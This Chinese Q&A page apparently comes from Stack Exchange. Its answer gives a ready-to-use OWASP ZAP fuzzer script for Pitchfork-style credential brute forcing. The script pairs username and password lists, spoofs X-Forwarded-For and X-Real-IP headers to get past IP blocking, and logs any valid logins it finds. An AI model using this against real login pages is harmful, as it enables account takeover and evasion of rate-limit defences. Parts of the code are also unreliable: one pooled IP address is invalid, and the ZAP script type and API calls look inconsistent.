如何基于OWASP ZAP的Fuzzer JS模板编写Pitchfork攻击脚本及双字段攻击?
基于OWASP ZAP的Pitchfork暴力破解脚本实现(适配IP封锁场景)
一、双字段Pitchfork攻击的核心逻辑
Pitchfork模式的核心是两个payload列表按索引严格一一配对——第一个用户名对应第一个密码,第二个用户名对应第二个密码,完全不会产生交叉组合(这和Cluster bomb的笛卡尔积模式有本质区别)。实现的关键是在脚本中维护一个全局计数器,每次请求取对应索引的两组payload值,替换到目标字段即可。
二、编写适配IP封锁的Pitchfork攻击脚本
以下是可直接复用的ZAP HTTP Sender JS模板脚本,已集成Pitchfork配对逻辑和IP封锁绕过机制:
// 1. 定义Pitchfork配对的payload数组(可替换为从文件读取) const usernames = ["carlos", "admin", "test_user"]; const passwords = ["123456", "admin@123", "test_pass"]; // IP池:用于绕过IP封锁,按需扩展 const ipPool = ["192.168.0.101", "10.1.0.202", "172.16.3.303", "203.0.113.4"]; // 全局计数器:记录当前请求的payload索引 let requestCounter = 0; // 处理请求:替换字段+伪造IP头部 function processMessage(msg, initiator, helper) { // 超出payload长度时停止Fuzz if (requestCounter >= usernames.length || requestCounter >= passwords.length) { helper.stopFuzz(); return msg; } // 替换请求体中的用户名和密码(根据实际请求格式调整) let reqBody = msg.getRequestBody().toString(); // 场景1:表单格式(username=xxx&password=xxx) reqBody = reqBody.replace(/username=[^&]+/, `username=${usernames[requestCounter]}`); reqBody = reqBody.replace(/password=[^&]+/, `password=${passwords[requestCounter]}`); // 场景2:JSON格式({"username":"xxx","password":"xxx"}) // const reqJson = JSON.parse(reqBody); // reqJson.username = usernames[requestCounter]; // reqJson.password = passwords[requestCounter]; // reqBody = JSON.stringify(reqJson); msg.setRequestBody(reqBody); // 伪造IP头部,绕过IP封锁 const fakeIp = ipPool[requestCounter % ipPool.length]; // 循环使用IP池 msg.getRequestHeader().setHeader("X-Forwarded-For", fakeIp); msg.getRequestHeader().setHeader("X-Real-IP", fakeIp); // 计数器自增 requestCounter++; return msg; } // 处理响应:识别登录成功的请求(可选) function processResult(msg, initiator, helper) { const respBody = msg.getResponseBody().toString(); // 根据目标网站的成功响应特征调整判断条件 if (respBody.includes("登录成功") || respBody.includes("Welcome") || respBody.includes("Dashboard")) { helper.log(`找到有效凭据:${usernames[requestCounter-1]} / ${passwords[requestCounter-1]}`); // 可选:找到有效凭据后停止Fuzz // helper.stopFuzz(); } return msg; }
三、脚本使用步骤
- 在ZAP中找到目标登录请求,右键选择「Attack」→「Fuzz...」
- 切换到「Payloads」标签页,点击「Add」→ 选择「Script」类型,再点击「New」
- 选择「HTTP Sender Script」模板,将上述代码粘贴进去,根据你的实验场景修改:
- 替换
usernames和passwords数组(或改为从文件读取,见下方补充) - 根据请求体格式切换表单/JSON替换逻辑
- 调整
ipPool或IP头部字段(部分网站可能检查X-Forwarded-For之外的头部)
- 替换
- 无需添加其他Payload,直接点击「Start Fuzzer」运行攻击
补充:从文件读取Pitchfork payload
如果你的payload存在本地文件中,替换脚本开头的数组定义为以下代码即可:
// 读取用户名文件(每行一个用户名) const usernames = zap.getFileContents("/绝对路径/usernames.txt") .split("\n") .filter(line => line.trim() !== ""); // 读取密码文件(每行一个密码,需与用户名文件行数一致) const passwords = zap.getFileContents("/绝对路径/passwords.txt") .split("\n") .filter(line => line.trim() !== "");
关键注意事项
- 确保用户名和密码文件的行数完全一致,否则会出现部分请求无法配对的情况
- 如果目标网站的IP封锁基于真实出口IP,仅修改头部可能无效,需配合ZAP的代理池使用
- 可在
processResult函数中自定义成功响应的判断规则,快速定位有效凭据
内容的提问来源于stack exchange,提问作者boo123
相关产品推荐
相关产品推荐

